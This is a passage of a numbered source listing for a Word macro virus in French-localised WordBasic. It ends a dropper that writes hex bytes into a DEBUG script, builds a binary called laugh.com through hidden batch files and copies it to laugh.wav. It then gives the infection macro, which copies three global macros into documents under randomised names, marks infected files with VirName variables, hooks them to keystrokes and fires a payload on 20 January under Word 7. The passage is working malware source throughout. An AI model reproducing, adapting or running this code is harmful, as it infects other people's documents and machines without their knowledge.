  446. Print #1, "E 0CA0 40 48 6A B4 63 8D A7 BF B2 4A 6F 5C 13 A3 EE 52"
  447. Print #1, "E 0CB0 F6 E3 6E B8 C4 C4 7F C7 49 29 5D 6B D3 BD 0C 9D"
  448. Print #1, "E 0CC0 0B 43 3B DD 62 97 FD AC 63 4F 4E 57 10 8E 6F 3B"
  449. Print #1, "E 0CD0 69 4F 6F A8 0C 15 AF 0C C6 EB DF EB D1 B9 3D 2D"
  450. Print #1, "E 0CE0 2C 58 50 15 D9 4C D5 FD FF 61 CF 21 01 31 2F 1D"
  451. Print #1, "E 0CF0 61 A4 BE 10 D8 FA AE 88 E8 BE 1F 64 C2 99 1A 64"
  452. Print #1, "E 0D00 32 45 ED 9F 94 C9 0E 7D F7 4D BE 30 BC 94 2F E8"
  453. Print #1, "E 0D10 5D 82 0E 9C 7A 4D 9E D0 EB E5 1F EC BA BD 40 62"
  454. Print #1, "E 0D20 E0 4D 36 7F 46 D1 8A F0 3F 4B CE A6 4E 1F 7E 25"
  455. Print #1, "E 0D30 E5 53 4F 61 B4 FE AE A0 A0 86 E1 64 61 B9 C8 F1"
  456. Print #1, "E 0D40 06 48 FF 57 1F 02 42 80 B0 5A FE DE 41 E4 EE 86"
  457. Print #1, "E 0D50 D8 B2 2F 84 CE 88 3F 1D E8 E4 1F 64 CA 9A 8B 56"
  458. Print #1, "E 0D60 D1 5C 9A 9F C0 4B 14 7F 3A 55 2E 13 0D BF 3F A9"
  459. Print #1, "E 0D70 8B 73 EE CE 1C F1 9E 87 30 03 A1 D4 CA BD B5 7A"
  460. Print #1, "E 0D80 69 55 3A D8 1F 79 7D D5 FF 5D 9F D7 65 80 AE 44"
  461. Print #1, "E 0D90 CA 6E FE E5 9D CD 0D F9 FC 26 E3 EB 32 B9 02 62"
  462. Print #1, "E 0DA0 03 1D 3B 04 68 AA 02 F7 B9 5F 7F 4A 11 A1 7F 3F"
  463. Print #1, "E 0DB0 5A 92 CF 41 D4 8E AF BD 85 F8 61 E4 41 99 AB A0"
  464. Print #1, "E 0DC0 3D 55 8E 4A 9D CB EB 99 E6 5F AF 32 26 D6 8E F0"
  465. Print #1, "E 0DD0 9A 31 FD 17 9B 1D 6F 03 AD 3A E1 6B 2A 96 88 D8"
  466. Print #1, "E 0DE0 8A 55 89 3F DD 04 82 9F 12 68 4F AF 34 BC 0E FE"
  467. Print #1, "E 0DF0 5B BD DE 4B BB 91 7F 9E 50 CC 5B DC D3 99 2B 5B"
  468. Print #1, "E 0E00 0C 56 6F 97 DF FB 9A D9 00 59 FD F4 18 AD BE 4F"
  469. Print #1, "E 0E10 00 F9 6D F1 A1 B5 6E 49 50 F2 5D 6B C2 99 10 24"
  470. Print #1, "E 0E20 F1 54 FD AE 6F 09 EA 3D 02 69 6D EC C2 B1 6E F3"
  471. Print #1, "E 0E30 E3 8A EE 0A 85 87 3F 05 8C D5 17 6C 53 95 DA E4"
  472. Print #1, "E 0E40 86 33 32 A2 BA BF 21 94 AA 66 2E DF 01 C5 DD 61"
  473. Print #1, "E 0E50 AC 77 9E 78 31 18 1E CC 69 B9 9B 63 4A 99 12 DB"
  474. Print #1, "E 0E60 43 29 C3 7D 9D 8B EA 85 D8 73 9C 17 09 50 3E 02"
  475. Print #1, "E 0E70 C6 D9 3E 43 5B 25 3D 31 10 9B 1D 5C C2 75 9B 77"
  476. Print #1, "E 0E80 8C 48 02 41 F7 BF 0A C5 9D 4B 7E 3F 61 F7 6D 26"
  477. Print #1, "E 0E90 05 92 2D 7E 4A D0 7C 3A 78 A2 1F 64 C2 BD 12 20"
  478. Print #1, "E 0EA0 71 6E 7D 63 89 EA BB 9B 90 3F CD 15 A1 4C 8E 69"
  479. Print #1, "E 0EB0 76 84 3C 15 00 9E 6C 05 80 5D 1F EC C9 BD 27 D8"
  480. Print #1, "E 0EC0 AA 3B 8B 7F A5 66 C3 CE 8A 26 AD 49 AD A8 2C B0"
  481. Print #1, "E 0ED0 33 DB 8C 1F 81 9B EC D7 E9 82 21 EC 31 9A 28 B3"
  482. Print #1, "E 0EE0 37 66 0A 51 E0 9A E3 1F A8 5D 7D 83 28 8E FD EE"
  483. Print #1, "E 0EF0 91 27 2C 8C 6B 13 7D AC F0 C9 9F E4 C1 79 0B A2"
  484. Print #1, "E 0F00 12 05 B5 CA BF 77 28 FF EA 77 CC 46 6A 80 BC 35"
  485. Print #1, "E 0F10 D3 26 EC 69 48 97 FC CC E2 68 DD EB C2 BD E8 60"
  486. Print #1, "E 0F20 6C 7F CA 94 64 7B 83 95 6B 47 1D A6 B5 07 9C 47"
  487. Print #1, "E 0F30 04 20 1B 91 2B 75 0B E8 2B CB"
  488. Print #1, "RCX"
  489. Print #1, "0E3A"
  490. Print #1, "W"
  491. Print #1, "Q"
  492. Close #1
  493.  
  494. Open G$ + "Sounda.bat" For Output As #1
  495. Print #1, "@echo off"
  496. Print #1, "debug < " + G$ + "laugh.scr > nul"
  497. Close #1
  498.  
  499. Shell G$ + "Sounda.bat", 0
  500.  
  501. n = Seconde(Maintenant())
  502. Timer = n + 25
  503. If Timer > 59 Then Timer = Timer - 60
  504. While Seconde(Maintenant()) <> Timer
  505. Wend
  506. Beep
  507.  
  508. Open G$ + "Rename.bat" For Output As #1
  509. Print #1, "@echo off"
  510. Print #1, "copy laugh.com laugh.wav"
  511. Close #1
  512.  
  513. Shell G$ + "Rename.bat", 0
  514.  
  515. n = Seconde(Maintenant())
  516. Timer = n + 5
  517. If Timer > 59 Then Timer = Timer - 60
  518. While Seconde(Maintenant()) <> Timer
  519. Wend
  520. Beep
  521.  
  522. Finish:
  523. End Sub
  524. ---------------------------
  525. Macro M8908
  526.  
  527. PURPOSE :    Infected a document 
  528.         Test if the payload macro must be launch
  529.  
  530. Sub MAIN
  531. On Error Goto Finish
  532.  
  533. A$ = NomFichier$()
  534. If A$ = "" Then Goto Finish
  535.  
  536. UZ$ = GetProfileString$("Intl", "Name")
  537. ZU$ = GetProfileString$("Intl", "Name2")
  538. ZUZ$ = GetProfileString$("Intl", "Name3")
  539.  
  540. If CheckInstalledDoc = 1 Then
  541.     Goto Finish
  542. Else
  543.     On Error Resume Next
  544.     FichierEnregistrerSous .Format = 1
  545.     Routine
  546.     Crypt
  547.     PayloadMakro
  548.     FichierEnregistrerTout 1, 0
  549. End If
  550.  
  551. Finish:
  552. A$ = NomFichier$()
  553. If A$ = "" Then
  554.     Goto Finito
  555. Else
  556.     Insertion "e"
  557. End If
  558. Finito:
  559. If Mois(Maintenant()) = 1 And Jour(Maintenant()) = 20 Then
  560.     Goto Payload
  561. Else
  562.     Goto NO
  563. End If
  564.  
  565. Payload:
  566. -> test if it's the version 7.0 of WINWORD
  567. If (InStr(AppInfo$(1), "Macintosh") > 0) Then Goto NO
  568. If (InStr(AppInfo$(1), "Windows 3.") > 0) Then Goto NO
  569. If Left$(AppInfo$(2), 1) = "6" Then
  570.     Goto NO
  571. Else
  572.     Goto YES
  573. End If
  574.  
  575. YES:
  576. WordVer = Val(Left$(AppInfo$(2), 1))
  577. AL$ = Str$(WordVer)
  578. AL$ = LTrim$(AL$)
  579.  
  580. If AL$ = "7" Then
  581.     Goto Payload_Start
  582. Else
  583.     Goto NO
  584. End If
  585.  
  586. Payload_Start:
  587. AK$ = GetProfileString$("Intl", "Name3")
  588. OutilsMacro .Nom = AK$, .ExΘcuter, .Afficher = 0, .Description = "", .NouvNom = ""
  589.  
  590. NO:
  591. End Sub
  592.  
  593. Sub Crypt
  594. -> sub-program to create the name of the macro number 2 and copy to a new file
  595. One = 7369
  596. Two = 9291
  597. Num = Int(Rnd() * (Two - One) + One)
  598. A$ = Str$(Num)
  599. A$ = LTrim$(A$)
  600.  
  601. Beginn = Heure(Maintenant())
  602. B$ = Str$(Beginn)
  603. B$ = LTrim$(B$)
  604.  
  605. If B$ = "1" Then C$ = "A"
  606. If B$ = "2" Then C$ = "B"
  607. If B$ = "3" Then C$ = "C"
  608. If B$ = "4" Then C$ = "D"
  609. If B$ = "5" Then C$ = "E"
  610. If B$ = "6" Then C$ = "F"
  611. If B$ = "7" Then C$ = "G"
  612. If B$ = "8" Then C$ = "H"
  613. If B$ = "9" Then C$ = "I"
  614. If B$ = "10" Then C$ = "J"
  615. If B$ = "11" Then C$ = "K"
  616. If B$ = "12" Then C$ = "L"
  617. If B$ = "13" Then C$ = "M"
  618. If B$ = "14" Then C$ = "N"
  619. If B$ = "15" Then C$ = "O"
  620. If B$ = "16" Then C$ = "P"
  621. If B$ = "17" Then C$ = "Q"
  622. If B$ = "18" Then C$ = "R"
  623. If B$ = "19" Then C$ = "S"
  624. If B$ = "20" Then C$ = "T"
  625. If B$ = "21" Then C$ = "U"
  626. If B$ = "22" Then C$ = "V"
  627. If B$ = "23" Then C$ = "W"
  628. If B$ = "00" Then C$ = "X"
  629.  
  630. E$ = C$ + A$
  631. ZU$ = GetProfileString$("Intl", "Name2")
  632. MacroCopie "Global:" + ZU$, NomFenΩtre$() + ":" + E$
  633. DΘfinitVarDocument "VirNameDoc", E$
  634. OutilsPersonnaliserClavier .CodeTouche = 69, .CatΘgorie = 2, .Nom = E$, .Ajouter, .Contexte = 1
  635. End Sub
  636.  
  637.  
  638. Sub Routine
  639. -> sub-program to create the name of the macro number 1 and copy to a new file
  640. One = 7369
  641. Two = 9291
  642. Num = Int(Rnd() * (Two - One) + One)
  643. A$ = Str$(Num)
  644. A$ = LTrim$(A$)
  645.  
  646. Beginn = Heure(Maintenant())
  647. B$ = Str$(Beginn)
  648. B$ = LTrim$(B$)
  649.  
  650. If B$ = "1" Then C$ = "A"
  651. If B$ = "2" Then C$ = "B"
  652. If B$ = "3" Then C$ = "C"
  653. If B$ = "4" Then C$ = "D"
  654. If B$ = "5" Then C$ = "E"
  655. If B$ = "6" Then C$ = "F"
  656. If B$ = "7" Then C$ = "G"
  657. If B$ = "8" Then C$ = "H"
  658. If B$ = "9" Then C$ = "I"
  659. If B$ = "10" Then C$ = "J"
  660. If B$ = "11" Then C$ = "K"
  661. If B$ = "12" Then C$ = "L"
  662. If B$ = "13" Then C$ = "M"
  663. If B$ = "14" Then C$ = "N"
  664. If B$ = "15" Then C$ = "O"
  665. If B$ = "16" Then C$ = "P"
  666. If B$ = "17" Then C$ = "Q"
  667. If B$ = "18" Then C$ = "R"
  668. If B$ = "19" Then C$ = "S"
  669. If B$ = "20" Then C$ = "T"
  670. If B$ = "21" Then C$ = "U"
  671. If B$ = "22" Then C$ = "V"
  672. If B$ = "23" Then C$ = "W"
  673. If B$ = "00" Then C$ = "X"
  674.  
  675. D$ = C$ + A$
  676. UZ$ = GetProfileString$("Intl", "Name")
  677. MacroCopie "Global:" + UZ$, NomFenΩtre$() + ":" + D$
  678. DΘfinitVarDocument "VirName", D$
  679. OutilsPersonnaliserClavier .CodeTouche = 32, .CatΘgorie = 2, .Nom = D$, .Ajouter, .Contexte = 1
  680. End Sub
  681.  
  682. Sub PayloadMakro
  683. -> sub-program to create the name of the macro number 3 (payload) and copy to a new file
  684. One = 7369
  685. Two = 9291
  686. Num = Int(Rnd() * (Two - One) + One)
  687. A$ = Str$(Num)
  688. A$ = LTrim$(A$)
  689.  
  690. Beginn = Heure(Maintenant())
  691. B$ = Str$(Beginn)
  692. B$ = LTrim$(B$)
  693.  
  694. If B$ = "1" Then C$ = "A"
  695. If B$ = "2" Then C$ = "B"
  696. If B$ = "3" Then C$ = "C"
  697. If B$ = "4" Then C$ = "D"
  698. If B$ = "5" Then C$ = "E"
  699. If B$ = "6" Then C$ = "F"
  700. If B$ = "7" Then C$ = "G"
  701. If B$ = "8" Then C$ = "H"
  702. If B$ = "9" Then C$ = "I"
  703. If B$ = "10" Then C$ = "J"
  704. If B$ = "11" Then C$ = "K"
  705. If B$ = "12" Then C$ = "L"
  706. If B$ = "13" Then C$ = "M"
  707. If B$ = "14" Then C$ = "N"
  708. If B$ = "15" Then C$ = "O"
  709. If B$ = "16" Then C$ = "P"
  710. If B$ = "17" Then C$ = "Q"
  711. If B$ = "18" Then C$ = "R"
  712. If B$ = "19" Then C$ = "S"
  713. If B$ = "20" Then C$ = "T"
  714. If B$ = "21" Then C$ = "U"
  715. If B$ = "22" Then C$ = "V"
  716. If B$ = "23" Then C$ = "W"
  717. If B$ = "00" Then C$ = "X"
  718.  
  719. K$ = C$ + A$
  720. ZUZ$ = GetProfileString$("Intl", "Name3")
  721. MacroCopie "Global:" + ZUZ$, NomFenΩtre$() + ":" + K$
  722. DΘfinitVarDocument "VirNamePayload", K$
  723. End Sub
  724.  
  725. Function CheckInstalledDoc
  726. -> test if the file is still infected
  727. On Error Resume Next
  728. CC$ = LitVarDoc$("VirNameDoc")    
  729.     CheckInstalledDoc = 0
  730.     If CompteMacros(1) > 0 Then
  731.         For i = 1 To CompteMacros(1)
  732.             If NomMacro$(i, 1) = CC$ Then
  733.                 CheckInstalledDoc = 1
  734.             End If
  735.         Next i
  736.     End If
  737. End Function
  738. -------------------------------------------------
  739.